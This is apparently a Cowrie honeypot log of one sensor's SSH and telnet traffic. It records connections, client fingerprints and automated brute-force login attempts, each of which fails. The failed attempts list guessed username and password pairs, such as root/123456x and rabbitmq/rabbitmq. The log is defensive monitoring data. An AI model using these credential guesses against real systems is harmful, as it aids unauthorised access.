{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:20.233535Z","src_ip":"213.209.159.158","session":"c47704f020ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:20.237805Z","src_ip":"213.209.159.158","session":"c47704f020ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46942,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d3a783e9f97","protocol":"telnet","message":"New connection: 152.42.224.71:46942 (10.17.0.5:23) [session: 9d3a783e9f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:25.219491Z"}
{"eventid":"cowrie.login.failed","username":"newsletter","password":"newsletter","message":"login attempt [newsletter/newsletter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:29.868679Z","src_ip":"213.209.159.158","session":"c47704f020ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":43210,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4a28444e6cf","protocol":"ssh","message":"New connection: 103.27.238.116:43210 (159.203.135.109:22) [session: e4a28444e6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:32.561173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:32.565939Z","src_ip":"103.27.238.116","session":"e4a28444e6cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:32.825294Z","src_ip":"103.27.238.116","session":"e4a28444e6cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:33.110750Z","src_ip":"213.209.159.158","session":"c47704f020ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62546,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1521c740ae5","protocol":"ssh","message":"New connection: 213.209.159.158:62546 (159.203.135.109:22) [session: f1521c740ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:33.199073Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456x","message":"login attempt [root/123456x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:33.610608Z","src_ip":"103.27.238.116","session":"e4a28444e6cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:34.872740Z","src_ip":"103.27.238.116","session":"e4a28444e6cf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:35.844193Z","src_ip":"213.209.159.158","session":"f1521c740ae5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:35.848395Z","src_ip":"213.209.159.158","session":"f1521c740ae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roberto","password":"roberto","message":"login attempt [roberto/roberto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:45.203634Z","src_ip":"213.209.159.158","session":"f1521c740ae5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:48.453422Z","src_ip":"213.209.159.158","session":"f1521c740ae5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":6352,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb1a08787c1a","protocol":"ssh","message":"New connection: 213.209.159.158:6352 (159.203.135.109:22) [session: fb1a08787c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:48.535108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:51.076356Z","src_ip":"213.209.159.158","session":"fb1a08787c1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:51.079756Z","src_ip":"213.209.159.158","session":"fb1a08787c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.29614424705505,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:51.411163Z","src_ip":"152.42.224.71","session":"48bb454376b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":58336,"dst_ip":"159.203.135.109","dst_port":22,"session":"3691e15ee78e","protocol":"ssh","message":"New connection: 103.75.183.219:58336 (159.203.135.109:22) [session: 3691e15ee78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:57.727498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:57.732540Z","src_ip":"103.75.183.219","session":"3691e15ee78e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:57.972221Z","src_ip":"103.75.183.219","session":"3691e15ee78e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mamamama","message":"login attempt [root/mamamama] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:58.693142Z","src_ip":"103.75.183.219","session":"3691e15ee78e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:59.935491Z","src_ip":"103.75.183.219","session":"3691e15ee78e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.19987964630127,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:00.419229Z","src_ip":"152.42.224.71","session":"9d3a783e9f97","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Samora4u","message":"login attempt [root/1Samora4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:00.544508Z","src_ip":"213.209.159.158","session":"fb1a08787c1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:04.093793Z","src_ip":"213.209.159.158","session":"fb1a08787c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":32222,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1adfb101a28","protocol":"ssh","message":"New connection: 213.209.159.158:32222 (159.203.135.109:22) [session: d1adfb101a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:04.180612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:06.397016Z","src_ip":"213.209.159.158","session":"d1adfb101a28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:06.401196Z","src_ip":"213.209.159.158","session":"d1adfb101a28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.96.164.189","src_port":41250,"dst_ip":"10.17.0.5","dst_port":23,"session":"7362d8a9843c","protocol":"telnet","message":"New connection: 94.96.164.189:41250 (10.17.0.5:23) [session: 7362d8a9843c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:09.150931Z"}
{"eventid":"cowrie.login.failed","username":"otto","password":"otto","message":"login attempt [otto/otto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:15.749448Z","src_ip":"213.209.159.158","session":"d1adfb101a28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:19.305380Z","src_ip":"213.209.159.158","session":"d1adfb101a28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":9926,"dst_ip":"159.203.135.109","dst_port":22,"session":"05e3ece908d5","protocol":"ssh","message":"New connection: 213.209.159.158:9926 (159.203.135.109:22) [session: 05e3ece908d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:19.385521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:21.499326Z","src_ip":"213.209.159.158","session":"05e3ece908d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:21.502631Z","src_ip":"213.209.159.158","session":"05e3ece908d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":40276,"dst_ip":"159.203.135.109","dst_port":22,"session":"847eb7d50242","protocol":"ssh","message":"New connection: 103.15.222.183:40276 (159.203.135.109:22) [session: 847eb7d50242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:22.289253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:22.293629Z","src_ip":"103.15.222.183","session":"847eb7d50242","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:22.548632Z","src_ip":"103.15.222.183","session":"847eb7d50242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.797240972518921,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:22.948045Z","src_ip":"94.96.164.189","session":"7362d8a9843c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321qw","message":"login attempt [root/123321qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:23.339906Z","src_ip":"103.15.222.183","session":"847eb7d50242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:24.595572Z","src_ip":"103.15.222.183","session":"847eb7d50242","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rabbitmq","password":"rabbitmq","message":"login attempt [rabbitmq/rabbitmq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:31.233714Z","src_ip":"213.209.159.158","session":"05e3ece908d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:34.429010Z","src_ip":"213.209.159.158","session":"05e3ece908d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":51084,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3e7714b8dff","protocol":"ssh","message":"New connection: 213.209.159.158:51084 (159.203.135.109:22) [session: e3e7714b8dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:16:34.511806Z"}
